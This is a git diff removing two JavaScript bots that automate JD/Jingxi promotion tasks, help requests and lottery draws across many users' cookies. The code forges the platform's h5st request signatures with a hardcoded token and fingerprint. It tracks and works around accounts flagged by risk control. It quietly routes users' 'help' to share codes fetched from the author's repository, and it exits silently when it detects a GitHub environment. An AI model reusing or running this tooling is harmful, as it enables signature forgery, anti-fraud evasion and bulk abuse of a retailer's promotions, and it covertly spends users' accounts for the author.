$.isNode() ? require('./jdCookie.js') : ''; -const CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -let cookiesArr = []; -let shareCodes = []; -let rcsArr = []; -let coin = 0; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie) - ].filter((item) => !!item); -}; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - res = await UserSignNew(); - // await drawUserTask(); - } - shareCodes = shareCodes.filter(code => code) - const author = Math.random() > 0.5 ? 'zero205' : 'ZXX2021' - await getShareCode('nnfls.json', author, 3, true) - shareCodes = [...new Set([...shareCodes, ...($.shareCode || [])])]; - if (shareCodes.length > 0) { - console.log(`\n*********开始互助**********\n`); - } - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.canHelp = true; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`====开始账号${$.UserName}===助力`) - if (rcsArr.includes($.UserName) > 0) { - console.log("不让助力,休息会!"); - break; - } - for (let j = 0; j < shareCodes.length; j++) { - if (!$.canHelp) { - break; - } - await help(shareCodes[j]); - await $.wait(1000); - } - } - console.log(`\n********执行任务抽奖**********\n`); - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`====开始账号${$.UserName}===`) - if (rcsArr.includes($.UserName) > 0) { - console.log("不让做任务,休息会!"); - continue; - } - await drawUserTask(); - } - -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -function getShareCode(name, author = 'zero205', num = -1, shuffle = false) { - return new Promise(resolve => { - $.get({ - url: `https://raw.fastgit.org/${author}/updateTeam/main/shareCodes/${name}`, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - console.log(`优先账号内部互助,有剩余助力次数再帮作者助力`); - $.shareCode = JSON.parse(data) || [] - if (shuffle) { - $.shareCode = $.shareCode.sort(() => 0.5 - Math.random()) - } - if (num != -1) { - $.shareCode = $.shareCode.slice(0, num) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -async function help(sharecode) { - console.log(`${$.UserName} 去助力 ${sharecode}`) - res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 0, token: sharecode }) - await $.wait(3000) - res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 1, token: sharecode }) - if (res) { - switch (res.retCode) { - case 30014: - console.log('不能助力自己'); - break; - case 30010: - console.log('助力已满!'); - break; - case 30011: - console.log('助力次数已用完!'); - $.canHelp = false; - break; - case 30009: - console.log('已助力过!'); - break; - case 60009: - console.log('不让助力,先休息会!'); - rcsArr.push($.UserName); - $.canHelp = false; - break; - case 0: - console.log('助力成功'); - break; - default: - console.log('助力结果' + res.errMsg); - break; - } - } else { - console.log('助力失败!'); - } - await $.wait(2000) -} - -async function drawUserTask() { - res = await api('task/QueryUserTask', 'sceneval,taskType', { taskType: 0 }) - let tasks = [] - if (res.datas) { - for (let t of res.datas) { - if (t.state !== 2) - tasks.push(t.taskid ? t.taskid : t.taskId) - } - } else { - res = await api('task/QueryPgTaskCfg', 'sceneval', {}) - if (tasks.length === 0) { - for (let t of res.data.tasks) { - tasks.push(t.taskid ? t.taskid : t.taskId) - } - } - } - console.log(`总任务数:${res.datas && res.datas.length} 本次执行任务数: ${tasks && tasks.length}`) - await $.wait(2000) - - res = await api('task/QueryPgTaskCfg', 'sceneval', {}) - // console.log('tasks:', res.data.tasks && res.data.tasks.length) - // await $.wait(2000) - for (let t of res.data.tasks) { - if (tasks.includes(t.taskid ? t.taskid : t.taskId)) { - let sleep = (t.param7 ? t.param7 : 2) * 1000 + (Math.random() * 5 + 1) * 1000; - console.log(`任务名:${t.taskName} 浏览时间:${sleep / 1000} s`) - res = await api('task/drawUserTask', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) - await $.wait(sleep) - res = await api('task/UserTaskFinish', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) - // console.log(`${JSON.stringify(res)}`) - await $.wait(2000) - - } - } - - res = await api('active/LuckyTwistUserInfo', 'sceneval', {}) - let surplusTimes = res.data.surplusTimes - console.log('剩余抽奖次数', surplusTimes) - for (let j = 0; j < surplusTimes && coin >= 10; j++) { - res = await api('active/LuckyTwistDraw', 'active,activedesc,sceneval', { active: 'rwjs_fk1111', activedesc: encodeURIComponent('幸运扭蛋机抽奖') }) - if (res) { - if (res.retCode == 0) { - console.log('抽奖成功', res.data && res.data.prize ? res.data.prize[0].prizename : "") - } else { - console.log('抽奖失败', res.errMsg ? res.errMsg : "") - } - - } else { - console.log('抽奖失败,返回数据为空') - } - coin -= 10 - await $.wait(5000) - } - await $.wait(2000) -} - -async function UserSignNew() { - let fn = "sign/UserSignNew"; - let stk = "sceneval,source"; - let params = { source: '' }; - let res = await api(fn, stk, params); - if (res) { - if (res.retCode == 60009) { - console.log('风控用户,不让玩') - rcsArr.push($.UserName); - return res; - } - console.log('签到', res.retCode == 0 ? "success" : "fail") - console.log('助力码', res.data.token) - shareCodes.push(res.data.token); - coin = res.data.pgAmountTotal - console.log('金币', coin) - } - return res; -} - - -function decrypturl(url, stk, params, appId = 10012) { - for (const [key, val] of Object.entries(params)) { - url += `&${key}=${val}` - } - url += '&h5st=' + decrypt(url, stk, appId) - return url -} - -function decrypt(url, stk, appId) { - stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date().Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${appId}${random}`; - hash1 = CryptoJS.SHA512(str, $.Jxmctoken).toString(CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat(appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -function getJxmcUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} - -async function api(fn, stk, params) { - let url = `https://m.jingxi.com/pgcenter`; - url = await decrypturl(`${url}/${fn}?sceneval=2&_stk=active,activedesc,sceneval&_ste=1&_=${Date.now()}&sceneval=2`, stk, params, 10012) - let myRequest = taskUrl(url); - return new Promise(async resolve => { - let rv = ""; - $.get(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data) - rv = data - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - resolve(); - } finally { - resolve(rv); - } - }) - }) -} - -function taskUrl(url) { - return { - url, - headers: { - "Host": "m.jingxi.com", - "Connection": "keep-alive", - "User-Agent": "jdpingou", - "Accept": "*/*", - "Referer": "https://st.jingxi.com/pingou/taskcenter/index.html", - "Accept-Encoding": "gzip, deflate", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": $.cookie, - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" - } - } -} - -function randomWord(randomFlag, min, max) { - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if (randomFlag) { - range = Math.round(Math.random() * (max - min)) + min; - } - for (var i = 0; i < range; i++) { - pos = Math.round(Math.random() * (arr.length - 1)); - str += arr[pos]; - } - return str; -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -Date.prototype.Format = function (fmt) { - var e, - n = this, - d = fmt, - l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { this.env = t } - send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } - get(t) { return this.send.call(this.env, t) } - post(t) { return this.send.call(this.env, t, "POST") } - } - return new class { - constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } - isNode() { return "undefined" != typeof module && !!module.exports } - isQuanX() { return "undefined" != typeof $task } - isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } - isLoon() { return "undefined" != typeof $loon } - toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } - toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { s = JSON.parse(this.getdata(t)) } catch { } - return s - } - setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } - getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { e = "" } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } - setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } - initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } - get(t, e = (() => { })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { this.logErr(t) } - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => { })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { return new Promise(e => setTimeout(e, t)) } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/jd_nzmh.js b/jd_nzmh.js deleted file mode 100644 index 7fd4ff445..000000000 --- a/jd_nzmh.js +++ /dev/null @@ -1,293 +0,0 @@ -/* -女装盲盒 -活动时间:2022-4-1至2022-4-30 -活动地址:https://anmp.jd.com/babelDiy/Zeus/3qshXVjiSE2M9rfaCpntAXfkg166/index.html -活动入口:京东app-女装馆-赢京豆 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#女装盲盒 -35 1,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "35 1,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_nzmh.js,tag=女装盲盒 - -===============Surge================= -女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_nzmh.js - -============小火箭========= -女装盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true - */ -const $ = new Env('女装盲盒抽京豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - console.log('女装盲盒\n' + - '活动时间:2022-4-1至2022-4-30\n' + - '活动地址:https://anmp.jd.com/babelDiy/Zeus/3qshXVjiSE2M9rfaCpntAXfkg166/index.html'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - try { - await jdMh('https://anmp.jd.com/babelDiy/Zeus/3qshXVjiSE2M9rfaCpntAXfkg166/index.html') - } catch (e) { - $.logErr(e) - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdMh(url) { - try { - await getInfo(url) - await getUserInfo() - await draw() - while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { - await draw() - await getUserInfo() - await $.wait(500) - } - await showMsg(); - } catch (e) { - $.logErr(e) - } -} - -function showMsg() { - return new Promise(resolve => { - if ($.beans) { - message += `本次运行获得${$.beans}京豆` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function getInfo(url) { - console.log(`url:${url}`) - return new Promise(resolve => { - $.get({ - url, - headers: { - Cookie: cookie - } - }, (err, resp, data) => { - try { - $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) - $.prize = JSON.parse($.info.prize) - resolve() - } catch (e) { - console.log(e) - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.get(taskUrl('query'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data - // console.log(`您的好友助力码为${$.userInfo.shareid}`) - console.log(`当前幸运值:${$.userInfo.bless}`) - for (let task of $.info.config.tasks) { - if (!$.userInfo.complete_task_list.includes(task['_id'])) { - console.log(`去做任务${task['_id']}`) - await doTask(task['_id']) - await $.wait(500) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doTask(taskId) { - let body = `task_bless=10&taskid=${taskId}` - return new Promise(resolve => { - $.get(taskUrl('completeTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.errcode === 8004) { - console.log(`任务完成失败,无效任务ID`) - } else { - if (data.data.complete_task_list.includes(taskId)) { - console.log(`任务完成成功,当前幸运值${data.data.curbless}`) - $.userInfo.bless = data.data.curbless - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function draw() { - return new Promise(resolve => { - $.get(taskUrl('draw'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (data.data && data.data.drawflag) { - if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { - console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) - $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum - } else { - console.log(`抽奖 未中奖`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = '') { - body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` - return { - url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, - headers: { - 'Host': 'wq.jd.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'wq.jd.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, - 'Cookie': cookie - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 